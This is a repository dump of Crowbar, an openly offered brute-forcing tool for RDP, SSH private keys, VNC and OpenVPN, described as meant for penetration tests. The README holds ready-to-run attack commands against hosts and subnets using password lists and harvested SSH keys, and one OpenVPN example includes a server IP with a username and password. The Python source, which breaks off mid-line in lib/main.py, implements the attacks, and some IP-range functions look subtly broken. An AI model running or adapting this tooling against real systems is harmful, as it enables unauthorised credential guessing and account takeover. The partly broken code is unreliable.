├── .gitignore ├── LICENSE.txt ├── README.md ├── crowbar.py ├── images ├── crowbar-parola-dosyasi.jpg ├── crowbar-rdp.jpg ├── crowbar-ssh1.jpg ├── crowbar-ssh2.jpg ├── crowbar-ssh3.jpg ├── crowbar-vnc.jpg ├── crowbar-vpn.jpg ├── crowvar-rdp-dosya.jpg ├── crowvar-rdp-dosya2.jpg └── crowvar-rdp-kadi-parola-dosya.jpg ├── lib ├── __init__.py ├── core │ ├── __init__.py │ ├── common.py │ ├── exceptions.py │ ├── iprange.py │ ├── logger.py │ └── threadpool.py ├── main.py └── nmap.py ├── requirements.txt └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | crowbar.out 3 | crowbar.log 4 | crowbar.egg-info 5 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2014 Gökhan ALKAN 2 | Permission is hereby granted, free of charge, to any person obtaining a 3 | copy of this software and associated documentation files (the 4 | "Software"), to deal in the Software without restriction, including 5 | without limitation the rights to use, copy, modify, merge, publish, 6 | distribute, sublicense, and/or sell copies of the Software, and to 7 | permit persons to whom the Software is furnished to do so, subject to 8 | the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included 11 | in all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 15 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 16 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 17 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 18 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 19 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 20 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Crowbar - Brute forcing tool 2 | 3 | ### What is Crowbar? 4 | 5 | **Crowbar** _(formally known as Levye)_ is a brute forcing tool that can be used during penetration tests. It was developed to brute force some protocols in a different manner according to other popular brute forcing tools. As an example, while most brute forcing tools use username and password for SSH brute force, Crowbar uses SSH key(s). This allows for any private keys that have been obtained during penetration tests, to be used to attack other SSH servers. 6 | 7 | Currently **Crowbar** supports: 8 | 9 | - OpenVPN (`-b openvpn`) 10 | - Remote Desktop Protocol (RDP) with NLA support (`-b rdp`) 11 | - SSH private key authentication (`-b sshkey`) 12 | - VNC key authentication (`-b vpn`) 13 | 14 | - - - 15 | 16 | ### Installation 17 | 18 | **Kali Linux users can do** 19 | 20 | ``` 21 | # sudo apt install -y crowbar 22 | ``` 23 | 24 | Else if you wish to install from source, install all the dependencies: 25 | 26 | **Debain 9/10+ & Kali Rolling** 27 | 28 | ``` 29 | # sudo apt install -y nmap openvpn freerdp2-x11 tigervnc-viewer python3 python3-pip 30 | ``` 31 | 32 | **Debain 7/8 & Kali 1/2** 33 | 34 | ``` 35 | # sudo apt-get install -y nmap openvpn freerdp-x11 vncviewer 36 | ``` 37 | 38 | Then get latest version from GitHub: 39 | 40 | ``` 41 | # git clone https://github.com/galkan/crowbar 42 | # cd crowbar/ 43 | # pip3 install -r requirements.txt 44 | ``` 45 | 46 | Note: The RDP client package depends on your OS: 47 | 48 | - Debain 9/10 & Kali Rolling uses `freerdp2-x11` 49 | - Debian 7/8 & Kali 1/2 uses `freerdp-x11` package. 50 | - Else you can try `xfreerdp`. 51 | - The fall back method would be to compile & tweak `freerdp` by following: http://opentechnotes.blogspot.co.uk/2015/02/compile-headless-freerdp-credential-checking.html 52 | 53 | _Don't forget to patch `./lib/main.py` to point to the new binary_! 54 | 55 | - - - 56 | 57 | ### Usage 58 | 59 | - **-b**: Target service. Crowbar supports: `openvpn`, `rdp`, `sshkey`, `vnckey` 60 | - **-c**: Static password to login with 61 | - **-C**: `` for passwords list 62 | - **-d**: Run a tcp port scan (nmap) on the IP range (`-s`/`-S`) before trying to brute force. This will discover whether the target's port is open 63 | - **-D**: Enable debug mode 64 | - **-h**: Shows a help menu 65 | - **-k**: `` for key files (for SSH or VNC) 66 | - **-l**: `` to store the log file (default is `./crowbar.log`) 67 | - **-m**: `` for a OpenVPN configuration file 68 | - **-n**: Thread count 69 | - **-o**: `` to store the successfully attempt(s) (default is `./crowbar.out`) 70 | - **-p**: Port number (if the service is not on the default port) 71 | - **-q**: Enable quiet mode (only show successful logins) 72 | - **-s**: Target IP address/range (in CIDR notation) 73 | - **-S**: `` which is stores target IP addresses 74 | - **-t**: Timeout value 75 | - **-u**: Single username 76 | - **-U**: `` which stores the username list 77 | - **-v**: Enable verbose mode (shows all the attempts) 78 | 79 | If you want see all usage options, please use: `./crowbar.py --help`. 80 | 81 | - - - 82 | 83 | **ATTENTION:** If you want to use username including DOMAIN, please specify username like below. Backslash (`\`) is the escape character for python. So you have to use either of the following two formats: 84 | 85 | ``` 86 | # ./crowbar.py -b rdp -u DOMAIN\\gokhan alkan -c Aa123456 -s 10.68.35.150/32 87 | 2015-03-28 11:03:39 RDP-SUCCESS : 10.68.35.150:3389 - "DOMAIN\gokhan alkan":Aa123456, 88 | ``` 89 | 90 | ``` 91 | # ./crowbar.py -b rdp -u gokhan alkan@ornek -c Aa123456 -s 10.68.35.150/32 92 | 2015-03-28 11:04:00 RDP-SUCCESS : 10.68.35.150:3389 - "gokhan alkan@DOMAIN":Aa123456, 93 | ``` 94 | 95 | - - - 96 | 97 | ### Demonstration Videos 98 | 99 | - https://www.youtube.com/watch?v=4QZAWGsveSM 100 | 101 | - - - 102 | 103 | ### Brute Forcing - Remote Desktop Protocol (RDP) 104 | 105 | Below are a few examples of attacking RDP using Crowbar. 106 | 107 | RDP brute forcing a single IP address using a single username and a single password: 108 | 109 | ``` 110 | # ./crowbar.py -b rdp -s 192.168.2.182/32 -u admin -c Aa123456 111 | ``` 112 | 113 | ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowbar-rdp.jpg) 114 | 115 | - - - 116 | 117 | RDP brute forcing a single IP address using username list file and a single password: 118 | 119 | ``` 120 | # ./crowbar.py -b rdp -s 192.168.2.211/32 -U ~/Desktop/userlist -c passw0rd 121 | ``` 122 | 123 | ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowvar-rdp-dosya.jpg) 124 | 125 | - - - 126 | 127 | RDP brute forcing a single IP address using a single username and a password list: 128 | 129 | ``` 130 | # ./crowbar.py -b rdp -s 192.168.2.250/32 -u localuser -C ~/Desktop/passlist 131 | ``` 132 | 133 | ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowvar-rdp-dosya2.jpg) 134 | 135 | - - - 136 | 137 | RDP brute forcing a subnet using a username list and a password list in discovery mode: 138 | 139 | ``` 140 | # ./crowbar.py -b rdp -s 192.168.2.0/24 -U ~/Desktop/userlist -C ~/Desktop/passlist -d 141 | ``` 142 | 143 | ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowvar-rdp-kadi-parola-dosya.jpg) 144 | 145 | - - - 146 | 147 | ### Brute Forcing - SSH Private Keys 148 | 149 | Below are a few examples which you have using Crowbar. 150 | 151 | SSH key brute force attempt to a single IP address using a single username and a single private SSH key: 152 | 153 | ``` 154 | # ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/id_rsa 155 | ``` 156 | 157 | ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowbar-ssh1.jpg) 158 | 159 | - - - 160 | 161 | SSH key brute force attempt to a single IP address using a single username and all the SSH keys in a folder: 162 | 163 | ``` 164 | # ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/ 165 | ``` 166 | 167 | ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowbar-ssh2.jpg) 168 | 169 | - - - 170 | 171 | SSH key brute force attempt to a subnet using a single username and all the SSH keys in a folder in discovery mode: 172 | 173 | ``` 174 | # ./crowbar.py -b sshkey -s 192.168.2.0/24 -u root -k ~/.ssh/ -d 175 | ``` 176 | 177 | ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowbar-ssh3.jpg) 178 | 179 | - - - 180 | 181 | ### Brute Forcing - VNC 182 | 183 | Below is an example of attacking a VNC service using Crowbar. 184 | 185 | VNC brute force attempt to a single IP address using a password file with specified port number: 186 | 187 | ``` 188 | # ./crowbar.py -b vnckey -s 192.168.2.105/32 -p 5902 -k ~/.vnc/passwd 189 | ``` 190 | 191 | ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowbar-vnc.jpg) 192 | 193 | - - - 194 | 195 | ### Brute Forcing - OpenVPN 196 | 197 | Below is an example of attacking OpenVPN using Crowbar. 198 | 199 | OpenVPN brute force attempt to a single IP address using a configuration file, a single username and a single password with specified port number and optional certificate file. Doesn't matter if its TCP or UDP: 200 | 201 | ``` 202 | # grep remote ~/Desktop/vpnbook.ovpn 203 | remote vpn.example.com 1194 udp 204 | # host vpn.example.com | awk '{print $1}' 205 | 198.7.62.204 206 | # grep '^auth-user-pass' ~/Desktop/vpnbook.ovpn 207 | # ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 1194 -m ~/Desktop/vpnbook.ovpn -k ~/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF 208 | ``` 209 | 210 | ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowbar-vpn.jpg) 211 | 212 | - - - 213 | 214 | ### Logs & Output 215 | 216 | Once you have executed Crowbar, it generates 2 files for logging and result that are located in your current directory. Default log file name is `crowbar.log` which stores all brute force attempts while execution. If you don't want use default log file, you should use `-l log_path`. The second file is `crowbar.out` which stores successful attempts while execution. If you don't want use default output file, you should use `-o output_path`. After that you can observe Crowbar operations. 217 | 218 | You can make the output more verbose by doing `-v`, or even more information can be shown with `-vv`. If you're trying to troubleshoot an issue or potential bug, using `-D` will enable debug mode and will give a lot more output. 219 | 220 | - - - 221 | 222 | ### Black Hat Sessions 223 | 224 | - [![ToolsWatch 2014 Arsenal](https://rawgit.com/toolswatch/badges/master/arsenal/2014.svg)](https://www.blackhat.com/us-14/arsenal.html#Alkan) 225 | - [![ToolsWatch 2015 Arsenal](https://rawgit.com/toolswatch/badges/master/arsenal/2015.svg)](http://www.blackhat.com/us-15/arsenal.html#heybe-pentest-automation-toolkit) 226 | 227 | - - - 228 | 229 | ### Categories 230 | 231 | - Network Attacks 232 | 233 | - - - 234 | 235 | ### Code 236 | 237 | - https://github.com/galkan/crowbar 238 | 239 | - - - 240 | 241 | ### Lead Developer 242 | 243 | - Gokhan Alkan - https://github.com/galkan 244 | 245 | - - - 246 | 247 | ### Social Media 248 | 249 | - [Twitter](https://twitter.com/gokhan_alkn) 250 | 251 | - - - 252 | 253 | ### Thanks To 254 | 255 | - Bahtiyar Bircan 256 | - Ertuğrul Başaranoğlu 257 | - [g0tmi1k](https://blog.g0tmi1k.com/) 258 | 259 | - - - 260 | 261 | ### Bookmarks 262 | 263 | - [Patator](https://github.com/lanjelot/patator) - A multi-purpose brute-forcer for protocols that are not supported by Crowbar 264 | - [Debian OpenSSL Predictable PRNG](https://github.com/g0tmi1k/debian-ssh) - Weak predictable SSH keys for Debian based systems (2011) 265 | - [ssh-badkeys](https://github.com/rapid7/ssh-badkeys) - A collection of static private SSH keys 266 | -------------------------------------------------------------------------------- /crowbar.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | try: 4 | from lib.main import Main, main 5 | from lib.core.exceptions import CrowbarExceptions 6 | except Exception as err: 7 | import sys 8 | 9 | print(err, file=sys.stderr) 10 | sys.exit(1) 11 | 12 | if __name__ == "__main__": 13 | main() 14 | -------------------------------------------------------------------------------- /images/crowbar-parola-dosyasi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/images/crowbar-parola-dosyasi.jpg -------------------------------------------------------------------------------- /images/crowbar-rdp.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/images/crowbar-rdp.jpg -------------------------------------------------------------------------------- /images/crowbar-ssh1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/images/crowbar-ssh1.jpg -------------------------------------------------------------------------------- /images/crowbar-ssh2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/images/crowbar-ssh2.jpg -------------------------------------------------------------------------------- /images/crowbar-ssh3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/images/crowbar-ssh3.jpg -------------------------------------------------------------------------------- /images/crowbar-vnc.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/images/crowbar-vnc.jpg -------------------------------------------------------------------------------- /images/crowbar-vpn.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/images/crowbar-vpn.jpg -------------------------------------------------------------------------------- /images/crowvar-rdp-dosya.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/images/crowvar-rdp-dosya.jpg -------------------------------------------------------------------------------- /images/crowvar-rdp-dosya2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/images/crowvar-rdp-dosya2.jpg -------------------------------------------------------------------------------- /images/crowvar-rdp-kadi-parola-dosya.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/images/crowvar-rdp-kadi-parola-dosya.jpg -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/lib/__init__.py -------------------------------------------------------------------------------- /lib/core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/galkan/crowbar/4b563dca2885b3b62d7f84d23908beacbd382601/lib/core/__init__.py -------------------------------------------------------------------------------- /lib/core/common.py: -------------------------------------------------------------------------------- 1 | class bcolors: 2 | OKBLUE = '\033[94m' 3 | OKGREEN = '\033[92m' 4 | ENDC = '\033[0m' 5 | 6 | def disable(self): 7 | self.OKBLUE = '' 8 | self.OKGREEN = '' 9 | self.ENDC = '' 10 | -------------------------------------------------------------------------------- /lib/core/exceptions.py: -------------------------------------------------------------------------------- 1 | class CrowbarExceptions(Exception): 2 | def __init__(self, err_mess): 3 | self.err = err_mess 4 | 5 | def __str__(self): 6 | return self.err 7 | -------------------------------------------------------------------------------- /lib/core/iprange.py: -------------------------------------------------------------------------------- 1 | try: 2 | import re 3 | import sys 4 | import socket 5 | import struct 6 | from functools import reduce 7 | from lib.core.exceptions import CrowbarExceptions 8 | except Exception as err: 9 | from lib.core.exceptions import CrowbarExceptions 10 | 11 | raise CrowbarExceptions(str(err)) 12 | 13 | 14 | class InvalidIPAddress(ValueError): 15 | """ 16 | The IP address given to ipaddr is improperly formatted 17 | """ 18 | 19 | 20 | class IpRange: 21 | """ 22 | Derived from http://www.randomwalking.com/snippets/iprange.text 23 | """ 24 | 25 | def ipaddr_to_binary(self, ipaddr): 26 | q = ipaddr.split('.') 27 | return reduce(lambda a, b: int(a) * 256 + int(b), q) 28 | 29 | def binary_to_ipaddr(self, ipbinary): 30 | return socket.inet_ntoa(struct.pack('!I', ipbinary)) 31 | 32 | def iprange(self, ipaddr): 33 | span_re = re.compile(r'''(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) # The beginning IP address 34 | \s*-\s* 35 | (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) # The end IP address 36 | ''', re.VERBOSE) 37 | res = span_re.match(ipaddr) 38 | if res: 39 | beginning = res.group(1) 40 | end = res.group(2) 41 | return span_iprange(beginning, end) 42 | 43 | cidr_re = re.compile(r'''(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) # The IP address 44 | /(\d{1,2}) # The mask 45 | ''', re.VERBOSE) 46 | res = cidr_re.match(ipaddr) 47 | if res: 48 | addr = res.group(1) 49 | cidrmask = res.group(2) 50 | return self.cidr_iprange(addr, cidrmask) 51 | wild_re = re.compile(r'''(\d{1,3}|\*)\. 52 | (\d{1,3}|\*)\. 53 | (\d{1,3}|\*)\. 54 | (\d{1,3}|\*) # The IP address 55 | ''', re.VERBOSE) 56 | res = wild_re.match(ipaddr) 57 | if res: 58 | return wildcard_iprange(ipaddr) 59 | 60 | raise InvalidIPAddress 61 | 62 | def span_iprange(self, beginning, end): 63 | b = self.ipaddr_to_binary(beginning) 64 | e = ipaddr_to_binary(end) 65 | while (b <= e): 66 | yield binary_to_ipaddr(b) 67 | b = b + 1 68 | 69 | def cidr_iprange(self, ipaddr, cidrmask): 70 | mask = (int(2) ** int(32 - int(cidrmask))) - 1 71 | b = self.ipaddr_to_binary(ipaddr) 72 | e = self.ipaddr_to_binary(ipaddr) 73 | b = int(b & ~mask) 74 | e = int(e | mask) 75 | while (b <= e): 76 | yield self.binary_to_ipaddr(b) 77 | b = b + 1 78 | 79 | def wildcard_iprange(ipaddr): 80 | beginning = [] 81 | end = [] 82 | 83 | tmp = ipaddr.split('.') 84 | for i in tmp: 85 | if i == '*': 86 | beginning.append("0") 87 | end.append("255") 88 | else: 89 | beginning.append(i) 90 | end.append(i) 91 | b = beginning[:] 92 | e = end[:] 93 | 94 | while int(b[0]) <= int(e[0]): 95 | while int(b[1]) <= int(e[1]): 96 | while int(b[2]) <= int(e[2]): 97 | while int(b[3]) <= int(e[3]): 98 | yield b[0] + '.' + b[1] + '.' + b[2] + '.' + b[3] 99 | b[3] = "%d" % (int(b[3]) + 1) 100 | b[2] = "%d" % (int(b[2]) + 1) 101 | b[3] = beginning[3] 102 | b[1] = "%d" % (int(b[1]) + 1) 103 | b[2] = beginning[2] 104 | b[0] = "%d" % (int(b[0]) + 1) 105 | b[1] = beginning[1] 106 | -------------------------------------------------------------------------------- /lib/core/logger.py: -------------------------------------------------------------------------------- 1 | try: 2 | import logging 3 | import os.path 4 | from lib.core.exceptions import CrowbarExceptions 5 | except Exception as err: 6 | from lib.core.exceptions import CrowbarExceptions 7 | 8 | raise CrowbarExceptions(str(err)) 9 | 10 | 11 | class Logger: 12 | def __init__(self, log_file, output_file, opt=None): 13 | self.logger_log = logging.getLogger('log_file') 14 | self.logger_log.setLevel(logging.INFO) 15 | 16 | handler_log = logging.FileHandler(os.path.join(".", log_file), "a", encoding=None, delay="true") 17 | handler_log.setLevel(logging.INFO) 18 | formatter = logging.Formatter("%(asctime)s %(message)s", "%Y-%m-%d %H:%M:%S") 19 | handler_log.setFormatter(formatter) 20 | self.logger_log.addHandler(handler_log) 21 | 22 | if opt is not None: 23 | consolelogHandler = logging.StreamHandler() 24 | consolelogHandler.setFormatter(formatter) 25 | self.logger_log.addHandler(consolelogHandler) 26 | 27 | self.logger_output = logging.getLogger('output_file') 28 | self.logger_output.setLevel(logging.INFO) 29 | 30 | handler_out = logging.FileHandler(os.path.join(".", output_file), "a", encoding=None, delay="true") 31 | handler_out.setLevel(logging.INFO) 32 | formatter = logging.Formatter("%(asctime)s %(message)s", "%Y-%m-%d %H:%M:%S") 33 | handler_out.setFormatter(formatter) 34 | self.logger_output.addHandler(handler_out) 35 | 36 | consoleHandler = logging.StreamHandler() 37 | consoleHandler.setFormatter(formatter) 38 | self.logger_output.addHandler(consoleHandler) 39 | 40 | def log_file(self, message): 41 | self.logger_log.critical(message) 42 | 43 | def output_file(self, message): 44 | self.logger_output.critical(message) 45 | -------------------------------------------------------------------------------- /lib/core/threadpool.py: -------------------------------------------------------------------------------- 1 | try: 2 | import sys 3 | from queue import Queue 4 | from threading import Thread 5 | from lib.core.exceptions import CrowbarExceptions 6 | except Exception as err: 7 | from lib.core.exceptions import CrowbarExceptions 8 | 9 | raise CrowbarExceptions(str(err)) 10 | 11 | 12 | class Worker(Thread): 13 | def __init__(self, tasks): 14 | Thread.__init__(self) 15 | self.tasks = tasks 16 | self.daemon = True 17 | self.start() 18 | 19 | def run(self): 20 | while True: 21 | func, args, kargs = self.tasks.get(True, None) 22 | 23 | if not func: 24 | break 25 | 26 | try: 27 | func(*args, **kargs) 28 | except: 29 | pass 30 | 31 | self.tasks.task_done() 32 | 33 | 34 | class ThreadPool: 35 | def __init__(self, num_threads): 36 | self.threads = [] 37 | self.num_threads = num_threads 38 | self.tasks = Queue(self.num_threads) 39 | 40 | for _ in range(self.num_threads): 41 | worker = Worker(self.tasks) 42 | self.threads.append(worker) 43 | 44 | def add_task(self, func, *args, **kargs): 45 | self.tasks.put((func, args, kargs)) 46 | 47 | def wait_completion(self): 48 | self.tasks.join() 49 | 50 | for _ in range(self.num_threads): 51 | self.add_task(None, None, None) 52 | 53 | for t in self.threads: 54 | t.join() 55 | -------------------------------------------------------------------------------- /lib/main.py: -------------------------------------------------------------------------------- 1 | try: 2 | import os 3 | import re 4 | import sys 5 | import shlex 6 | import signal 7 | import paramiko 8 | import argparse 9 | import tempfile 10 | import subprocess 11 | from lib.nmap import Nmap 12 | from lib.core.common import * 13 | from lib.core.logger import Logger 14 | from lib.core.threadpool import ThreadPool 15 | from lib.core.exceptions import CrowbarExceptions 16 | from lib.core.iprange import IpRange, InvalidIPAddress 17 | except Exception as err: 18 | from lib.core.exceptions import CrowbarExceptions 19 | 20 | raise CrowbarExceptions(str(err)) 21 | 22 | __version__ = '0.4.3-dev' 23 | __banner__ = 'Crowbar v%s' % (__version__) 24 | 25 | def main(): 26 | try: 27 | crowbar = Main() 28 | crowbar.run(crowbar.args.brute) 29 | except Exception as err: 30 | import sys 31 | 32 | print(err, file=sys.stderr) 33 | sys.exit(1) 34 | 35 | class AddressAction(argparse.Action): 36 | def __call__(self, parser, args, values, option=None): 37 | 38 | if args.username: 39 | if len(args.username) > 1: 40 | args.username = "\"" + ' '.join([str(line) for line in args.username]) + "\"" 41 | else: 42 | args.username = args.username[0] 43 | 44 | warning = {args.username: "-U", args.passwd: "-C", args.server: "-S"} 45 | for _ in warning.keys(): 46 | if _ and os.path.isfile(_): 47 | mess = "%s is not a valid option. Please use %s option" % (_, warning[_]) 48 | raise CrowbarExceptions(mess) 49 | 50 | if args.brute == "sshkey": 51 | if args.key_file is None: 52 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -k/--key: expected one argument """ 53 | raise CrowbarExceptions(mess) 54 | elif (args.username is None) and (args.username_file is None): 55 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -u/--username or -U/--username_file expected one argument """ 56 | raise CrowbarExceptions(mess) 57 | elif (args.server is None) and (args.server_file is None): 58 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -s/--server or -S/--server_file expected one argument """ 59 | raise CrowbarExceptions(mess) 60 | 61 | elif args.brute == "rdp": 62 | if (args.username is None) and (args.username_file is None): 63 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -u/--username or -U/--username_file expected one argument """ 64 | raise CrowbarExceptions(mess) 65 | elif (args.passwd is None) and (args.passwd_file is None): 66 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -c/--passwd or -C/--passwdfile expected one argument """ 67 | raise CrowbarExceptions(mess) 68 | elif (args.server is None) and (args.server_file is None): 69 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -s/--server or -S/--server_file expected one argument """ 70 | raise CrowbarExceptions(mess) 71 | 72 | elif args.brute == "vnckey": 73 | if args.key_file is None: 74 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -k/--key: expected one argument """ 75 | raise CrowbarExceptions(mess) 76 | elif (args.server is None) and (args.server_file is None): 77 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -s/--server or -S/--server_file expected one argument """ 78 | raise CrowbarExceptions(mess) 79 | 80 | elif args.brute == "openvpn": 81 | if args.config is None: 82 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -m/--config expected one argument """ 83 | raise CrowbarExceptions(mess) 84 | elif (args.server is None) and (args.server_file is None): 85 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -s/--server or -S/--server_file expected one argument """ 86 | raise CrowbarExceptions(mess) 87 | elif (args.username is None) and (args.username_file is None): 88 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -u/--username or -U/--username_file expected one argument """ 89 | raise CrowbarExceptions(mess) 90 | elif (args.passwd is None) and (args.passwd_file is None): 91 | mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -c/--passwd or -C/--passwdfile expected one argument """ 92 | raise CrowbarExceptions(mess) 93 | 94 | 95 | class Main: 96 | is_success = 0 97 | 98 | def __init__(self): 99 | self.services = {"openvpn": self.openvpn, "rdp": self.rdp, "sshkey": self.sshkey, "vnckey": self.vnckey} 100 | self.crowbar_readme = "https://github.com/galkan/crowbar/blob/master/README.md" 101 | 102 | self.openvpn_path = "/usr/sbin/openvpn" 103 | self.vpn_failure = re.compile("SIGTERM\[soft,auth-failure\] received, process exiting") 104 | self.vpn_success = re.compile("Initialization Sequence Completed") 105 | self.vpn_remote_regex = re.compile("^\s+remote\s[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\s[0-9]{1,3}") 106 | self.vpn_warning = "Warning! Both \"remote\" options were used at the same time. But command line \"remote\" options will be used!" 107 | self.vpn_error_in_use = "Address already in use (errno=98)" 108 | 109 | self.xfreerdp_path = "/usr/bin/xfreerdp" 110 | self.rdp_success = "Authentication only, exit status 0" 111 | self.rdp_success_ins_priv = "insufficient access privileges" 112 | self.rdp_success_account_locked = "alert internal error" 113 | self.rdp_error_host_down = "ERRCONNECT_CONNECT_FAILED" # [0x00020006] [0x00020014] 114 | self.rdp_error_display = "Please check that the \$DISPLAY environment variable is properly set." 115 | 116 | self.vncviewer_path = "/usr/bin/vncviewer" 117 | self.vnc_success = "Authentication successful" 118 | 119 | description = "Crowbar is a brute force tool which supports OpenVPN, Remote Desktop Protocol, SSH Private Keys and VNC Keys." 120 | usage = "Usage: use --help for further information" 121 | 122 | parser = argparse.ArgumentParser(description=description, usage=usage) 123 | parser.add_argument('-b', '--brute', dest='brute', help='Target service', choices=self.services.keys(), 124 | required=True) 125 | parser.add_argument('-s', '--server', dest='server', action='store', help='Static target') 126 | parser.add_argument('-S', '--serverfile', dest='server_file', action='store', 127 | help='Multiple targets stored in a file') 128 | parser.add_argument('-u', '--username', dest='username', action='store', nargs='+', 129 | help='Static name to login with') 130 | parser.add_argument('-U', '--usernamefile', dest='username_file', action='store', 131 | help='Multiple names to login with, stored in a file') 132 | parser.add_argument('-n', '--number', dest='thread', action='store', 133 | help='Number of threads to be active at once', default=5, type=int) 134 | parser.add_argument('-l', '--log', dest='log_file', action='store', help='Log file (only write attempts)', 135 | metavar='FILE', 136 | default="crowbar.log") 137 | parser.add_argument('-o', '--output', dest='output', action='store', help='Output file (write everything else)', 138 | metavar='FILE', 139 | default="crowbar.out") 140 | parser.add_argument('-c', '--passwd', dest='passwd', action='store', help='Static password to login with') 141 | parser.add_argument('-C', '--passwdfile', dest='passwd_file', action='store', 142 | help='Multiple passwords to login with, stored in a file', 143 | metavar='FILE') 144 | parser.add_argument('-t', '--timeout', dest='timeout', action='store', 145 | help='[SSH] How long to wait for each thread (seconds)', default=10, type=int) 146 | parser.add_argument('-p', '--port', dest='port', action='store', 147 | help='Alter the port if the service is not using the default value', type=int) 148 | parser.add_argument('-k', '--keyfile', dest='key_file', action='store', 149 | help='[SSH/VNC] (Private) Key file or folder containing multiple files') 150 | parser.add_argument('-m', '--config', dest='config', action='store', help='[OpenVPN] Configuration file ') 151 | parser.add_argument('-d', '--discover', dest='discover', action='store_true', 152 | help='Port scan before attacking open ports', default=False) 153 | parser.add_argument('-v', '--verbose', dest='verbose', action="count", 154 | help='Enable verbose output (-vv for more)', default=False) 155 | parser.add_argument('-D', '--debug', dest='debug', action='store_true', help='Enable debug mode', default=False) 156 | parser.add_argument('-q', '--quiet', dest='quiet', action='store_true', help='Only display successful logins', 157 | default=False) 158 | parser.add_argument('options', nargs='*', action=AddressAction) 159 | 160 | try: 161 | self.args = parser.parse_args() 162 | except Exception as err: 163 | raise CrowbarExceptions(str(err)) 164 | 165 | self.ip_list = [] 166 | 167 | if self.args.discover: 168 | self.nmap = Nmap() 169 | else: 170 | iprange = IpRange() 171 | 172 | try: 173 | if self.args.server is not None: 174 | for _ in self.args.server.split(","): 175 | for ip in iprange.iprange(_): 176 | self.ip_list.append(ip) 177 | else: 178 | for _ in open(self.args.server_file, "r"): 179 | for ip in iprange.iprange(_): 180 | if not ip in self.ip_list: 181 | self.ip_list.append(ip) 182 | except IOError: 183 | mess = "File: %s cannot be opened" % os.path.abspath(self.args.server_file) 184 | raise CrowbarExceptions(mess) 185 | except: 186 | mess = "Invalid IP Address! Please use IP/CIDR notation <192.168.37.37/32, 192.168.1.0/24>" 187 | raise CrowbarExceptions(mess) 188 | 189 | if self.args.verbose: 190 | self.logger = Logger(self.args.log_file, self.args.output, True) 191 | else: 192 | self.logger = Logger(self.args.log_file, self.args.output) 193 | 194 | self.logger.output_file("START") 195 | if not self.args.quiet: 196 | self.logger.output_file(__banner__) 197 | 198 | if self.args.verbose: 199 | self.logger.output_file("Brute Force Type: %s" % self.args.brute) 200 | self.logger.output_file(" Output File: 